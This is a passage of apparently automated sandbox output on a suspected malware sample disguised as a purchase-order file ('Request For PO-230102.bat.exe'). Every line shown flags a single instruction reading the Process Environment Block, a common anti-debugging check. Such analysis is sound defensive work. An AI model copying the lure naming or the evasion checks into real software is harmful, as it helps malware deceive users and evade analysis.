          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov ecx, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01660115 mov eax, dword ptr fs:[00000030h]4_2_01660115
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D0124 mov eax, dword ptr fs:[00000030h]4_2_015D0124
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164A118 mov ecx, dword ptr fs:[00000030h]4_2_0164A118
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164A118 mov eax, dword ptr fs:[00000030h]4_2_0164A118
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164A118 mov eax, dword ptr fs:[00000030h]4_2_0164A118
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164A118 mov eax, dword ptr fs:[00000030h]4_2_0164A118
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016761E5 mov eax, dword ptr fs:[00000030h]4_2_016761E5
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016661C3 mov eax, dword ptr fs:[00000030h]4_2_016661C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016661C3 mov eax, dword ptr fs:[00000030h]4_2_016661C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D01F8 mov eax, dword ptr fs:[00000030h]4_2_015D01F8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E1D0 mov eax, dword ptr fs:[00000030h]4_2_0161E1D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E1D0 mov eax, dword ptr fs:[00000030h]4_2_0161E1D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E1D0 mov ecx, dword ptr fs:[00000030h]4_2_0161E1D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E1D0 mov eax, dword ptr fs:[00000030h]4_2_0161E1D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E1D0 mov eax, dword ptr fs:[00000030h]4_2_0161E1D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159A197 mov eax, dword ptr fs:[00000030h]4_2_0159A197
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159A197 mov eax, dword ptr fs:[00000030h]4_2_0159A197
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159A197 mov eax, dword ptr fs:[00000030h]4_2_0159A197
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E0185 mov eax, dword ptr fs:[00000030h]4_2_015E0185
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01644180 mov eax, dword ptr fs:[00000030h]4_2_01644180
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01644180 mov eax, dword ptr fs:[00000030h]4_2_01644180
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165C188 mov eax, dword ptr fs:[00000030h]4_2_0165C188
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165C188 mov eax, dword ptr fs:[00000030h]4_2_0165C188
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162019F mov eax, dword ptr fs:[00000030h]4_2_0162019F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162019F mov eax, dword ptr fs:[00000030h]4_2_0162019F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162019F mov eax, dword ptr fs:[00000030h]4_2_0162019F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162019F mov eax, dword ptr fs:[00000030h]4_2_0162019F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A2050 mov eax, dword ptr fs:[00000030h]4_2_015A2050
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CC073 mov eax, dword ptr fs:[00000030h]4_2_015CC073
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626050 mov eax, dword ptr fs:[00000030h]4_2_01626050
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE016 mov eax, dword ptr fs:[00000030h]4_2_015BE016
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE016 mov eax, dword ptr fs:[00000030h]4_2_015BE016
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE016 mov eax, dword ptr fs:[00000030h]4_2_015BE016
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE016 mov eax, dword ptr fs:[00000030h]4_2_015BE016
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01636030 mov eax, dword ptr fs:[00000030h]4_2_01636030
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01624000 mov ecx, dword ptr fs:[00000030h]4_2_01624000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01642000 mov eax, dword ptr fs:[00000030h]4_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159A020 mov eax, dword ptr fs:[00000030h]4_2_0159A020
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159C020 mov eax, dword ptr fs:[00000030h]4_2_0159C020
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016260E0 mov eax, dword ptr fs:[00000030h]4_2_016260E0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159C0F0 mov eax, dword ptr fs:[00000030h]4_2_0159C0F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E20F0 mov ecx, dword ptr fs:[00000030h]4_2_015E20F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A80E9 mov eax, dword ptr fs:[00000030h]4_2_015A80E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159A0E3 mov ecx, dword ptr fs:[00000030h]4_2_0159A0E3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016220DE mov eax, dword ptr fs:[00000030h]4_2_016220DE
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016380A8 mov eax, dword ptr fs:[00000030h]4_2_016380A8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A208A mov eax, dword ptr fs:[00000030h]4_2_015A208A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016660B8 mov eax, dword ptr fs:[00000030h]4_2_016660B8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016660B8 mov ecx, dword ptr fs:[00000030h]4_2_016660B8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015980A0 mov eax, dword ptr fs:[00000030h]4_2_015980A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164437C mov eax, dword ptr fs:[00000030h]4_2_0164437C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0167634F mov eax, dword ptr fs:[00000030h]4_2_0167634F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01622349 mov eax, dword ptr fs:[00000030h]4_2_01622349
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166A352 mov eax, dword ptr fs:[00000030h]4_2_0166A352
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01648350 mov ecx, dword ptr fs:[00000030h]4_2_01648350
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162035C mov eax, dword ptr fs:[00000030h]4_2_0162035C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162035C mov eax, dword ptr fs:[00000030h]4_2_0162035C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162035C mov eax, dword ptr fs:[00000030h]4_2_0162035C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162035C mov ecx, dword ptr fs:[00000030h]4_2_0162035C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162035C mov eax, dword ptr fs:[00000030h]4_2_0162035C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162035C mov eax, dword ptr fs:[00000030h]4_2_0162035C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01678324 mov eax, dword ptr fs:[00000030h]4_2_01678324
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01678324 mov ecx, dword ptr fs:[00000030h]4_2_01678324
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01678324 mov eax, dword ptr fs:[00000030h]4_2_01678324
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01678324 mov eax, dword ptr fs:[00000030h]4_2_01678324
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159C310 mov ecx, dword ptr fs:[00000030h]4_2_0159C310
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C0310 mov ecx, dword ptr fs:[00000030h]4_2_015C0310
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA30B mov eax, dword ptr fs:[00000030h]4_2_015DA30B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA30B mov eax, dword ptr fs:[00000030h]4_2_015DA30B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA30B mov eax, dword ptr fs:[00000030h]4_2_015DA30B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA3C0 mov eax, dword ptr fs:[00000030h]4_2_015AA3C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA3C0 mov eax, dword ptr fs:[00000030h]4_2_015AA3C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA3C0 mov eax, dword ptr fs:[00000030h]4_2_015AA3C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA3C0 mov eax, dword ptr fs:[00000030h]4_2_015AA3C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA3C0 mov eax, dword ptr fs:[00000030h]4_2_015AA3C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA3C0 mov eax, dword ptr fs:[00000030h]4_2_015AA3C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A83C0 mov eax, dword ptr fs:[00000030h]4_2_015A83C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A83C0 mov eax, dword ptr fs:[00000030h]4_2_015A83C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A83C0 mov eax, dword ptr fs:[00000030h]4_2_015A83C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A83C0 mov eax, dword ptr fs:[00000030h]4_2_015A83C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D63FF mov eax, dword ptr fs:[00000030h]4_2_015D63FF
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016263C0 mov eax, dword ptr fs:[00000030h]4_2_016263C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165C3CD mov eax, dword ptr fs:[00000030h]4_2_0165C3CD
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE3F0 mov eax, dword ptr fs:[00000030h]4_2_015BE3F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE3F0 mov eax, dword ptr fs:[00000030h]4_2_015BE3F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE3F0 mov eax, dword ptr fs:[00000030h]4_2_015BE3F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016443D4 mov eax, dword ptr fs:[00000030h]4_2_016443D4
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016443D4 mov eax, dword ptr fs:[00000030h]4_2_016443D4
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B03E9 mov eax, dword ptr fs:[00000030h]4_2_015B03E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E3DB mov eax, dword ptr fs:[00000030h]4_2_0164E3DB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E3DB mov eax, dword ptr fs:[00000030h]4_2_0164E3DB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E3DB mov ecx, dword ptr fs:[00000030h]4_2_0164E3DB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E3DB mov eax, dword ptr fs:[00000030h]4_2_0164E3DB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01598397 mov eax, dword ptr fs:[00000030h]4_2_01598397
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01598397 mov eax, dword ptr fs:[00000030h]4_2_01598397
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01598397 mov eax, dword ptr fs:[00000030h]4_2_01598397
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159E388 mov eax, dword ptr fs:[00000030h]4_2_0159E388
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159E388 mov eax, dword ptr fs:[00000030h]4_2_0159E388
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159E388 mov eax, dword ptr fs:[00000030h]4_2_0159E388
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C438F mov eax, dword ptr fs:[00000030h]4_2_015C438F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C438F mov eax, dword ptr fs:[00000030h]4_2_015C438F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6259 mov eax, dword ptr fs:[00000030h]4_2_015A6259
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159A250 mov eax, dword ptr fs:[00000030h]4_2_0159A250
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650274 mov eax, dword ptr fs:[00000030h]4_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01628243 mov eax, dword ptr fs:[00000030h]4_2_01628243
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01628243 mov ecx, dword ptr fs:[00000030h]4_2_01628243
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159826B mov eax, dword ptr fs:[00000030h]4_2_0159826B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165A250 mov eax, dword ptr fs:[00000030h]4_2_0165A250
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165A250 mov eax, dword ptr fs:[00000030h]4_2_0165A250
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4260 mov eax, dword ptr fs:[00000030h]4_2_015A4260
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4260 mov eax, dword ptr fs:[00000030h]4_2_015A4260
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4260 mov eax, dword ptr fs:[00000030h]4_2_015A4260
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0167625D mov eax, dword ptr fs:[00000030h]4_2_0167625D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159823B mov eax, dword ptr fs:[00000030h]4_2_0159823B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA2C3 mov eax, dword ptr fs:[00000030h]4_2_015AA2C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA2C3 mov eax, dword ptr fs:[00000030h]4_2_015AA2C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA2C3 mov eax, dword ptr fs:[00000030h]4_2_015AA2C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA2C3 mov eax, dword ptr fs:[00000030h]4_2_015AA2C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA2C3 mov eax, dword ptr fs:[00000030h]4_2_015AA2C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016762D6 mov eax, dword ptr fs:[00000030h]4_2_016762D6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B02E1 mov eax, dword ptr fs:[00000030h]4_2_015B02E1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B02E1 mov eax, dword ptr fs:[00000030h]4_2_015B02E1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B02E1 mov eax, dword ptr fs:[00000030h]4_2_015B02E1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016362A0 mov eax, dword ptr fs:[00000030h]4_2_016362A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016362A0 mov ecx, dword ptr fs:[00000030h]4_2_016362A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016362A0 mov eax, dword ptr fs:[00000030h]4_2_016362A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016362A0 mov eax, dword ptr fs:[00000030h]4_2_016362A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016362A0 mov eax, dword ptr fs:[00000030h]4_2_016362A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016362A0 mov eax, dword ptr fs:[00000030h]4_2_016362A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE284 mov eax, dword ptr fs:[00000030h]4_2_015DE284
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE284 mov eax, dword ptr fs:[00000030h]4_2_015DE284
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01620283 mov eax, dword ptr fs:[00000030h]4_2_01620283
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01620283 mov eax, dword ptr fs:[00000030h]4_2_01620283
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01620283 mov eax, dword ptr fs:[00000030h]4_2_01620283
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B02A0 mov eax, dword ptr fs:[00000030h]4_2_015B02A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B02A0 mov eax, dword ptr fs:[00000030h]4_2_015B02A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A8550 mov eax, dword ptr fs:[00000030h]4_2_015A8550
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A8550 mov eax, dword ptr fs:[00000030h]4_2_015A8550
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D656A mov eax, dword ptr fs:[00000030h]4_2_015D656A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D656A mov eax, dword ptr fs:[00000030h]4_2_015D656A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D656A mov eax, dword ptr fs:[00000030h]4_2_015D656A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE53E mov eax, dword ptr fs:[00000030h]4_2_015CE53E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE53E mov eax, dword ptr fs:[00000030h]4_2_015CE53E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE53E mov eax, dword ptr fs:[00000030h]4_2_015CE53E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE53E mov eax, dword ptr fs:[00000030h]4_2_015CE53E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE53E mov eax, dword ptr fs:[00000030h]4_2_015CE53E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01636500 mov eax, dword ptr fs:[00000030h]4_2_01636500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674500 mov eax, dword ptr fs:[00000030h]4_2_01674500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0535 mov eax, dword ptr fs:[00000030h]4_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0535 mov eax, dword ptr fs:[00000030h]4_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0535 mov eax, dword ptr fs:[00000030h]4_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0535 mov eax, dword ptr fs:[00000030h]4_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0535 mov eax, dword ptr fs:[00000030h]4_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0535 mov eax, dword ptr fs:[00000030h]4_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A65D0 mov eax, dword ptr fs:[00000030h]4_2_015A65D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA5D0 mov eax, dword ptr fs:[00000030h]4_2_015DA5D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA5D0 mov eax, dword ptr fs:[00000030h]4_2_015DA5D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE5CF mov eax, dword ptr fs:[00000030h]4_2_015DE5CF
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE5CF mov eax, dword ptr fs:[00000030h]4_2_015DE5CF
